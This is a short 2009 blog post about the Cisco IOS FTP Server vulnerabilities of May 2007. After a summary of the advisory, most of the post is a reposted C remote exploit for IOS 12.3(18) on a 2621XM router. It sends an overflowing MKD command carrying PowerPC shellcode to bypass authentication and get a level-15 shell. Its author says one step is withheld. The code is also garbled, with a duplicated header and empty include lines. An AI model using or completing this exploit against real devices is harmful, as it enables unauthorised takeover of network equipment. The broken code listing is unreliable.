Jan
21
2009

How to test Cisco IOS FTP Server Multiple Vulnerabilities

An article by Fabio Semperboni

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On 09 May 2007, Cisco published a Security advisory about multiple IOS FTP Server vulnetabilities.

Cisco IOS FTP Server is prone to multiple vulnerabilities including a denial-of-service issue and an authentication-bypass issue. Attackers can exploit these issues to deny service to legitimate users, gain unauthorized access to an affected device, or execute arbitrary code. Only IOS devices that have the FTP Server feature enabled are vulnerable; this feature is disabled by default.

The vulnerable produtcs are IOS versions 11.3, 12.0, 12.1, 12.2, 12.3 and 12.4 contain the IOS FTP server feature.

If somebody would test this vulnerability (ONLY TEST…), I have find the exploit on the SecurityFocus site.


/*

 Cisco IOS FTP server remote exploit by Andy Davis 2008               

 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007               

 Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router    

 Removes the requirement to authenticate and escalates to level 15    

 *********************************************************************
 To protect the innocent a critical step has been omitted, which means
 the shellcode will only execute when the router is attached to gdb.
 I'm sure the PowerPC shellcoders out there will work it out...
 *********************************************************************

 Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
 on the original IOS security research                                

 iosftpexploit  googlemail 'dot' com                              

*/

#include
#include
#include
#include 

#define PORT 21

int main(int argc, char **argv)
{
/*

 Cisco IOS FTP server remote exploit by Andy Davis 2008               

 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007               

 Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router    

 Removes the requirement to authenticate and escalates to level 15    

 *********************************************************************
 To protect the innocent a critical step has been omitted, which means
 the shellcode will only execute when the router is attached to gdb.
 I'm sure the PowerPC shellcoders out there will work it out...
 *********************************************************************

 Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
 on the original IOS security research                                

 iosftpexploit  googlemail 'dot' com                              

*/

#include
#include
#include
#include 

#define PORT 21

int main(int argc, char **argv)
{
unsigned char sendbuf[] =

"MKD "

/* .equ vty_info, 0x8182da60    # pointer to VTY info */
/* .equ terminate, 0x80e4086c   # kill a process */

"\x3c\x80\x81\x83"      /* lis     4,vty_info@ha */
"\x38\x84\xda\x60"      /* la      4,vty_info@l(4) */
"\x7d\x08\x42\x78"      /* xor     8,8,8 */
"\x7c\xe4\x40\x2e"      /* lwzx    7,4,8 */
"\x91\x07\x01\x74"      /* stw     8,372(7) */
"\x39\x08\xff\xff"      /* subi    8,8,1 */
"\x38\xe7\x09\x1a"      /* addi    7,7,233 */
"\x91\x07\x04\xca"      /* stw     8,1226(7) */
"\x7d\x03\x43\x78"      /* mr      3,8 */
"\x3c\x80\x80\xe4"      /* lis     4,terminate@ha */
"\x38\x84\x08\x6c"      /* la      4,terminate@l(4) */
"\x7c\x89\x03\xa6"      /* mtctr   4 */
"\x4e\x80\x04\x20"      /* bctr    */

/* exists cleanly without adversely affecting the FTP server */

"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */
"\x61\x61\x61\x61"      /* padding */

"\x80\x06\x23\xB8"      /* return address */
"\x0d\x0a";

/* trampoline code */
/* when the overflow occurs r26+0x14 points to the shellcode */
/*
0x800623B8      lwz     26, 20(26)
0x800623BC      mtctr   26
0x800623C0      mr      3, 27
0x800623C4      bctrl
*/

unsigned char recvbuf[256];
struct sockaddr_in servaddr;
int s;

if (argc != 2)
        {
        printf ("\nCisco IOS FTP server remote exploit by Andy Davis
2008\n");

        printf ("\nUsage: %s \n",argv[0]);
        exit(-1);
        }

servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(PORT);

s = socket(AF_INET, SOCK_STREAM, 0);
connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr));
printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");
printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n");
printf ("Sending exploit...\n\n");

if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0)
        {
        printf("Error sending packet...quitting\n\n");
        exit (1);
        }
recv (s, recvbuf, sizeof(recvbuf)-1,0);
printf ("Now telnet to the router for a shell...\n\n");
}

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